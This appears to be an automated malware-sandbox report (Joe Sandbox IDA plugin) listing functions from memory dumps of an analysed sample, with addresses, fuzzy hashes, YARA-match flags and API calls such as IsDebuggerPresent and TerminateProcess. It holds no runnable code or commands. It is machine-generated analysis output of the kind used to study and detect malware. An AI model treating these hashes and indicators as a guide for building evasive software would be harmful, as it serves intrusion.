Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: e3b567ef86a85d63acd710100e7126f79b29638f6bc5c40dcf0cf038bd9ff512
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: BA024C71E002199BDF15CFA8C9806AEFBF1FF48318F24866AD519EB345D731AA45CB90

Function 04B70B67 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: ea05933711f035f349ee2608478a8b5ca9dd532ccce191208800c4f7af44965c
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 6A022E71E012199FDF14DFA8C9806ADFBB5FF48314F2486AAD929EB340D731A941CB90

Function 00410900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 1698085c936ca5c6c6a57ee88efec3ce2b030c017204745a192f91a5fd5d0df0
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 8A025C71E002199BDF14CFA9D9806EEBBF1FF48314F24826AE919E7341D775A9818B84

Function 009A1122 Relevance: 6.4, Strings: 4, Instructions: 1424COMMON

Download Yara Rule

Strings

{^Oe, xrefs: 009A1568
D>w, xrefs: 009A1D71
Lkn&, xrefs: 009A1226
#{, xrefs: 009A215E

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: D>w$Lkn&${^Oe$#{
API String ID: 0-2100540787
Opcode ID: 26da676e570ca3afb505c17b1d39a793955f45ef37bc45615d18470d48b5c423
Instruction ID: a8727c0e3e7dca02626300bc60d47010b5aa392683a76e2dc943f19838c4b06e
Opcode Fuzzy Hash: 26da676e570ca3afb505c17b1d39a793955f45ef37bc45615d18470d48b5c423
Instruction Fuzzy Hash: 49A2F5F3A0C2109FE3046E2DDC8567ABBE9EF98720F1A493DEAC4C7744E63558448796

Function 04B6A7B1 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 04B6A7BD
IsDebuggerPresent.KERNEL32 ref: 04B6A889
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B6A8A9
UnhandledExceptionFilter.KERNEL32(?), ref: 04B6A8B3

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 68b30883e0295d92b04eec212c1a4333c691322c00410dcf1057b2c5153111d6
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 0931F975D05219DBDF10DFA4D9897CCBBB8BF08304F1041EAE50DAB290EB75AA858F45

Function 0040A54A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 0040A556
IsDebuggerPresent.KERNEL32 ref: 0040A622
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A642
UnhandledExceptionFilter.KERNEL32(?), ref: 0040A64C

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 8b01d550a0a2fff4667565f177a0bd7aa15c2cc699040a0714bae659939ad5a8
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 40311A75D0531CDBDB10DFA5D9897CDBBB8BF08304F1080AAE409A7290EB759A858F49

Function 0099E258 Relevance: 5.9, Strings: 4, Instructions: 876COMMON

Download Yara Rule

Strings

E!-w, xrefs: 0099EA15
5\?, xrefs: 0099E710
5\?, xrefs: 0099E6F1
o, xrefs: 0099E353

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 5\?$5\?$E!-w$o
API String ID: 0-2603563114
Opcode ID: 1e75309c1e6827dfd929328e1f2cfd5e2b093162ddc22b1621b63e29b7b3ad85
Instruction ID: 543eeba9c22f55cf19b99cd7dd96af0dc206c6cc758b3c2ff4a2d922acb120ea
Opcode Fuzzy Hash: 1e75309c1e6827dfd929328e1f2cfd5e2b093162ddc22b1621b63e29b7b3ad85
Instruction Fuzzy Hash: 2F52D7B390C6009FE304AE29DC8567AFBE9EFD4320F16892DE6C5C3744E63598418B97

Function 04D222C0 Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

0.@, xrefs: 04D22498
P.@, xrefs: 04D224A2
p.@P.@0.@, xrefs: 04D224C5
p.@, xrefs: 04D224A9

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID: 0.@$P.@$p.@$p.@P.@0.@
API String ID: 0-3587633984
Opcode ID: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction ID: d6f669d9eb16fd89e3f4e75e644382cb356cc31cd61b1778e9158a04a6c6123a
Opcode Fuzzy Hash: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction Fuzzy Hash: 8BF1B371B002259BDB10CF68DE81BA9B7B0FF58308F1481A9F909EB681D771F951CBA5

Function 0099F473 Relevance: 5.4, Strings: 3, Instructions: 1663COMMON

Download Yara Rule

Strings

Wu, xrefs: 0099FB4F
w2?, xrefs: 009A01BF
c\mH, xrefs: 0099FBCC

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: c\mH$w2?$Wu
API String ID: 0-1191173405
Opcode ID: 2f5b250b255cf20e528c77df713d88505f02f6443c2e44aec83e7da9d50af60f
Instruction ID: 359d8cc0b90d1a8fbcb26836b1d2de4b8c411d55385898b1b5845a1eb2a647cf
Opcode Fuzzy Hash: 2f5b250b255cf20e528c77df713d88505f02f6443c2e44aec83e7da9d50af60f
Instruction Fuzzy Hash: DCB2F4F360C2049FE304AE29EC8577AFBE9EF94320F1A493DEAC4C7744E63558458696

Function 0098EB28 Relevance: 5.4, Strings: 3, Instructions: 1658COMMON

Download Yara Rule

Strings

1cwr, xrefs: 0098EFB8
CZs{, xrefs: 0098FC76
2Z~o, xrefs: 0098F267

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 1cwr$2Z~o$CZs{
API String ID: 0-2058030117
Opcode ID: d5ecb9afe8b9b346c7191542eedfeb8aa60ae4cb7f6118f4275b1ad2987bd6b4
Instruction ID: 8706c5ed068aa2bb090053d6ff946cb2584b3be468260bc1d4476b0dc58d3184
Opcode Fuzzy Hash: d5ecb9afe8b9b346c7191542eedfeb8aa60ae4cb7f6118f4275b1ad2987bd6b4
Instruction Fuzzy Hash: 7FB228F390C214AFE3046E29EC8567AFBE9EF94720F1A492DEAC4C7744E63558018797

Function 04B6D00A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,04B62A70), ref: 04B6D102
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,04B62A70), ref: 04B6D10C
UnhandledExceptionFilter.KERNEL32(04B6274A,?,?,?,?,?,04B62A70), ref: 04B6D119

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction ID: b24c568c01ca5937dd400ca93783a8edaa60ca36c7b802b6ac53bb607cf23ad8
Opcode Fuzzy Hash: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction Fuzzy Hash: FA31A27490122CABCB21DF64DC887DDBBB8BF18310F5041EAE51DA7290E774AB858F45

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 04B6092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 04B60966
., xrefs: 04B6095F
GetProcAddress., xrefs: 04B609DC, 04B609DF, 04B609E4

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: e4210d52f6757203259fa722a1e7f03093aa408074f88a791a4d7f8a43b615d4
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: D0316CB6900609DFEB10DF99C880AAEBBF5FF48324F14418AD942A7350D775FA45CBA4

Function 004107E2 Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,75DBD2FC), ref: 004107F7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction ID: 9ffaf8f16d1feaf21b4895ba9d91ffe558ea63f081936d9fadb7ea4d2284f30e
Opcode Fuzzy Hash: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction Fuzzy Hash: C2F0F4B5A002147F8724EF6EC8049DFBEE9EBC5370725826AE809D3340D9B4DD82C2D4

Function 04D39706 Relevance: 3.0, APIs: 1, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04D3991D

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction ID: df894bc49337c7bf789d2acedca972846ce78e7b71e906999943d2761829ecdc
Opcode Fuzzy Hash: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction Fuzzy Hash: 97D21872E082298FDB65CE28DD807EAB7B5FB45306F1441EAD44DE7240E778AE818F41

Function 0040EEC9 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

0Z@, xrefs: 0040F0D1, 0040F0D7
Z@, xrefs: 0040F165, 0040F187, 0040F16B, 0040F194

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0Z@$Z@
API String ID: 0-605451032
Opcode ID: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction ID: c2704d3dc0eafd102a63da391050ffa25cdd35e93d0e938198e091b07b9d6d51
Opcode Fuzzy Hash: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction Fuzzy Hash: 7AC1DE709006079ECB34CE69C584A7BBBB1AB45304F184A3FD452BBBD2C339AC59CB59

Function 0040EB87 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 0040ED0B
H@, xrefs: 0040EEAB, 0040EE4D, 0040EDEF, 0040ED70

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$H@
API String ID: 0-2786613154
Opcode ID: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction ID: 4a3fd9315a5abbba8fc5c956050257a45ee5a7b78c0dcd4935651e2db0378757
Opcode Fuzzy Hash: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction Fuzzy Hash: 9CB1E57090460B8BDB24CE6AC555ABFB7A1AF05304F140E3FD592B77C1C739A926CB89

Function 1000E184 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000E17F,?,?,00000008,?,?,1000DE14,00000000), ref: 1000E3B1

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction ID: 1a3fbdf84673f95942c1f426381f735e0c8de5aa42652e790f36daf84cbc2009
Opcode Fuzzy Hash: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction Fuzzy Hash: 9CB14A31610649CFE715CF28C486B997BE0FF453A4F258658E89ADF2A5C335EE82CB40

Function 04B75955 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04B75950,?,?,00000008,?,?,04B7C8B1,00000000), ref: 04B75B82

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: faba538468a196b22ef3dc2182246589059022568b14ba1b88a09c164b52844d
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: DDB13E31610608EFD725CF28C486B657BE0FF45365F298698E8E9CF6A1D335E982CB40

Function 004156EE Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004156E9,?,?,00000008,?,?,0041C64A,00000000), ref: 0041591B

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 5bcf9fd90164e7ff1602427bca0bed587a5bb36a9d426d5c8fdac6ccf5812400
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 72B16C71520A08CFD715CF28C48ABE57BE0FF85364F258659E8A9CF2A1C339D992CB45

Function 04D2E2C9 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04D2E439

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: 59244fcd0cad52a082bd7b2336b9e7f66e3f9747d43ca9687afdc67768ba283a
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: 88C1E1306006268FDB24CF68C78467ABBB1FF6630EF184A19D4969B791E331F945CB61

Function 04B6F130 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04B6F2A0

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: 59a315c2778ea775d9ed1257265bfcdcd19b0bc1ba3f2ac5b89874293735ddc6
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: 00C10E74A006069FDF24CFACE5846BABBB2FF06304F144699E86397694D738B905CF60

Function 04D2DF87 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04D2E10B

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: 478cb7324182688f358cf652f831d62a14f4ebee34a52e3723c74d9d2b06250e
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: 15B19370B0063A9BDB25CF68C794ABEB7A1FF6530CF04062ED592A7A90D635F502CB51

Function 04B6EDEE Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04B6EF72

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: f37925cc593c316ae9881622d4452ff5b0efd7030f5e24efaef72cde56ff4deb
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: B0B1D478A0460A8BEB24CF68D954ABEB7B1EF04304F140A9EE557D7690D73DFA01CB51

Function 04B6A947 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040A6EC,04B6A2CB), ref: 04B6A94C

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 0040A6E0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A6EC,0040A064), ref: 0040A6E5

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 008DD377 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

6Cg>, xrefs: 008DD477

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 6Cg>
API String ID: 0-1829088051
Opcode ID: 140972c0b33b1f7437504c5691f6aeafe3d252342e0b40d11b76f6c563742c2f
Instruction ID: ac52bfb05edd208e41308ba7fcb12a411dc1183d89166f750d0829343029a7c6
Opcode Fuzzy Hash: 140972c0b33b1f7437504c5691f6aeafe3d252342e0b40d11b76f6c563742c2f
Instruction Fuzzy Hash: F96136B3E082044BF318593DEC5576677979BD4320F2B823EDA89D77C8EC7999068285

Function 04D35219 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: 734f2f555e040b123cd0ffa1c24b2538f2bfe46ed18a5dd6b74235ac3637ce5e
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: A6322222E29F015DD7239A35DD32335A688AFB73D5F55CB37E81AB59A5EF28D0834100

Function 00415E19 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: cacb134cf45b6d3893a07543428c3496bc224f7c3d1c732b13d01dd1be495d2a
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: DF323631E29F015DD7239A35D922336A649AFB73C4F56C737E815B5AA9EF28C4C34108

Function 04D34AEE Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: b310f170aaa1fdeba40adbffecf81a16a3b8c9431a572f37f0dc1780ef609ef2
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: BAB139316106089FD715CF28D48AB657BE0FF45366F298698E8D9CF2A1C739F992CB40

Function 0084AE93 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80c0225bf2268bccca0beabc861efc01879c5e87537256fdd926739180bad2a0
Instruction ID: d0d879bff99a7b7c1181a5d5c9af66e9a5917508fa4a4c46cb2dd8d8fa02795b
Opcode Fuzzy Hash: 80c0225bf2268bccca0beabc861efc01879c5e87537256fdd926739180bad2a0
Instruction Fuzzy Hash: ED817EB3F1162547F3540D29CC983A26693DBE5325F2F81788E4CAB7C5E97E9C0A5384

Function 00824BCF Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
